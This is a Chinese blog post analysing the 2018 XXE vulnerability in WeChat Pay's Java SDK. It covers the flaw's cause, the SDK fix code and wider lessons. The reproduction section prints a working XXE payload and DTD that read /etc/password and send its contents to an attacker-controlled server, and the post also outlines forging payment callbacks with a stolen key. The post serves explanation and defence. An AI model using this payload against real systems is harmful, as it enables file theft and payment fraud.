1. 程式人生 > >談談微信支付曝出的漏洞

談談微信支付曝出的漏洞

一、背景

昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通過該漏洞,攻擊者可以獲取伺服器中目錄結構、檔案內容,如程式碼、各種私鑰等。獲取這些資訊以後,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0元也能買買買”。

漏洞報告地址;http://seclists.org/fulldisclosure/2018/Jul/3

二、漏洞原理

1.  XXE漏洞

此次曝出的漏洞屬於XXE漏洞,即XML外部實體注入(XML External Entity Injection)。

XML文件除了可以包含宣告和元素以外,還可以包含文件型別定義(即DTD);如下圖所示。

在DTD中,可以引進實體,在解析XML時,實體將會被替換成相應的引用內容。該實體可以由外部引入(支援http、ftp等協議,後文以http為例說明),如果通過該外部實體進行攻擊,就是XXE攻擊。

可以說,XXE漏洞之所以能夠存在,本質上在於在解析XML的時候,可以與外部進行通訊;當XML文件可以由攻擊者任意構造時,攻擊便成為可能。在利用XXE漏洞可以做的事情當中,最常見最容易實現的,便是讀取伺服器的資訊,包括目錄結構、檔案內容等;本次微信支付爆出的漏洞便屬於這一種。

2.  微信支付漏洞

本次漏洞影響的範圍是:在微信支付非同步回撥介面中,使用微信支付SDK進行XML解析的應用。注意這裡的SDK是伺服器端的SDK,APP端使用SDK並不受影響。

SDK下載地址如下(目前微信官方宣傳漏洞已修復):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK中導致漏洞的程式碼是WXPayUtil工具類中的xmlToMap()方法:

如上圖所示,由於在解析XML時沒有對外部實體的訪問做任何限制,如果攻擊者惡意構造xml請求,便可以對伺服器進行攻擊。下面通過例項介紹攻擊的方法。

3.  攻擊復現

下面在本機環境下進行復現。

假設本地的web伺服器127.0.0.1:8080中存在POST介面:/wxpay/callback,該介面中接收xml字串做引數,並呼叫前述的WXPayUtil.xmlToMap(strXml)對xml引數進行解析。此外,/etc/password中儲存了重要的密碼資料(如password1234)。

攻擊時構造的請求如下:

其中xml內容如下:

123456 <?xml version="1.0"encoding="utf-8"?><!DOCTYPE root[<!ENTITY%file SYSTEM"file:///etc/password"><!ENTITY%xxe SYSTEM"http://127.0.0.1:9000/xxe.dtd">%xxe;]>

其中/etc/password為要竊取的物件,http://127.0.0.1:9000/xxe.dtd為攻擊者伺服器中的dtd檔案,內容如下:

1234 <!ENTITY%shell"<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>">%shell;%upload;

通過xml+dtd檔案,攻擊者便可以在伺服器http://127.0.0.1:9000中收到如下請求:

http://127.0.0.1:9000/evil/password1234

這樣,攻擊者便得到了/etc/password檔案的內容。

在本例中,攻擊者竊取了/etc/password檔案中的內容,實際上攻擊者還可以獲取伺服器中的目錄結構以及其他檔案,只要啟動web應用的使用者具有相應的讀許可權。如果獲取的資訊比較複雜,如包含特殊符號,無法直接通過http的URL傳送,則可以採用對檔案內容進行Base64編碼等方法解決。

三、漏洞的解決

解決該漏洞的原理非常簡單,只要禁止解析XML時訪問外部實體即可。

漏洞曝出以後,微信進行了緊急修復,一方面是更新了SDK,並提醒開發者使用最新的SDK;SDK中修復程式碼如下:

加入瞭如下兩行程式碼:

12 documentBuilderFactory.setExpandEntityReferences(false);documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);

更新:微信表示上述2條語句無法禁止該漏洞,又雙叒叕更新了官方SDK,加了以下語句(對於微信的這波操作,不知如何評價):

1234567 documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities",false);documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities",false);documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);documentBuilderFactory.setXIncludeAware(false);documentBuilderFactory.setExpandEntityReferences(false);

此外,微信官方也給出了關於XXE漏洞的最佳安全實踐,可以參考:

筆者本人使用上述方案中建議的如下程式碼修復了該漏洞:

1234 DocumentBuilderFactory documentBuilderFactory=DocumentBuilderFactory.newInstance();documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);DocumentBuilder documentBuilder=documentBuilderFactory.newDocumentBuilder();……

四、擴充套件與反思

1.  危害不只是“0元也能買買買”

在很多媒體的報道中,強調該漏洞的風險在於攻擊者可以不支付也可以獲得商品。確實,攻擊者在通過上述漏洞獲得微信支付的祕鑰以後,有不止一種途徑可以做到不支付就獲得商品:例如,攻擊者首先在系統中下單,獲得商戶訂單號;然後便可以呼叫微信支付的非同步回撥,其中的簽名引數便可以使用前面獲取的祕鑰對訂單號等資訊進行MD5獲得;這樣攻擊者的非同步回撥就可以通過應用伺服器的簽名認證,從而獲得商品。不過,在很多有一定規模的購物網站(或其他有支付功能的網站),會有對賬系統,如定時將系統中的訂單狀態與微信、支付寶的後臺對比,如果出現不一致可以及時報警並處理,因此該漏洞在這方面的影響可能並沒有想象的那麼大。

然而,除了“0元也能買買買”,攻擊者可以做的事情還有很多很多;理論上來說,攻擊者可能獲得應用伺服器上的目錄結構、程式碼、資料、配置檔案等,可以根據需要進行進一步破壞。

2.  漏洞不限於微信支付SDK

雖然微信支付曝出該漏洞受到了廣泛關注,但該漏洞絕不僅僅存在於微信支付中:由於眾多XML解析器預設不會禁用對外部實體的訪問,因此應用的介面如果有以下幾個特點就很容易掉進XXE漏洞的坑裡:

(1)介面使用xml做請求引數

(2)介面對外公開,或容易獲得:例如一些介面提供給外部客戶呼叫,或者介面使用http很容易抓包,或者介面比較容易猜到(如微信支付的非同步回撥介面)

(3)介面中解析xml引數時,沒有禁用對外部實體的訪問

建議大家最好檢查一下自己的應用中是否有類似的漏洞,及時修復。

3.  xml與json

xml 與 json是系統間互動常用的兩種資料格式,雖然很多情況下二者可以互換,但是筆者認為,json 作為更加輕量級更加純粹的資料格式,更適合於系統間的互動;而xml,作為更加重量級更加複雜的資料格式,其 DTD 支援自定義文件型別,在更加複雜的配置場景下有著更好的效果,典型的場景如 spring 相關的配置。

4.  題外話:微信支付的簽名認證

在前面曾經提到,應用中儲存的祕鑰一旦洩露,攻擊者便可以完全繞過簽名認證,這是因為微信支付使用的是對稱式的簽名認證:微信方和應用方,使用相同的祕鑰對相同的明文進行MD5簽名,只要應用方的祕鑰洩露,簽名認證就完全成了擺設。

在這方面支付寶的做法更規範也更安全:支付寶為應用生成公私鑰對,公鑰由應用方儲存,私鑰由支付寶儲存;在回撥時,支付寶使用私鑰進行簽名,應用方使用公鑰進行驗證;這樣只要支付寶儲存的私鑰不洩露,攻擊者只有公鑰則難以通過簽名認證。

參考文獻

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

https://www.cnblogs.com/tongwen/p/5194483.html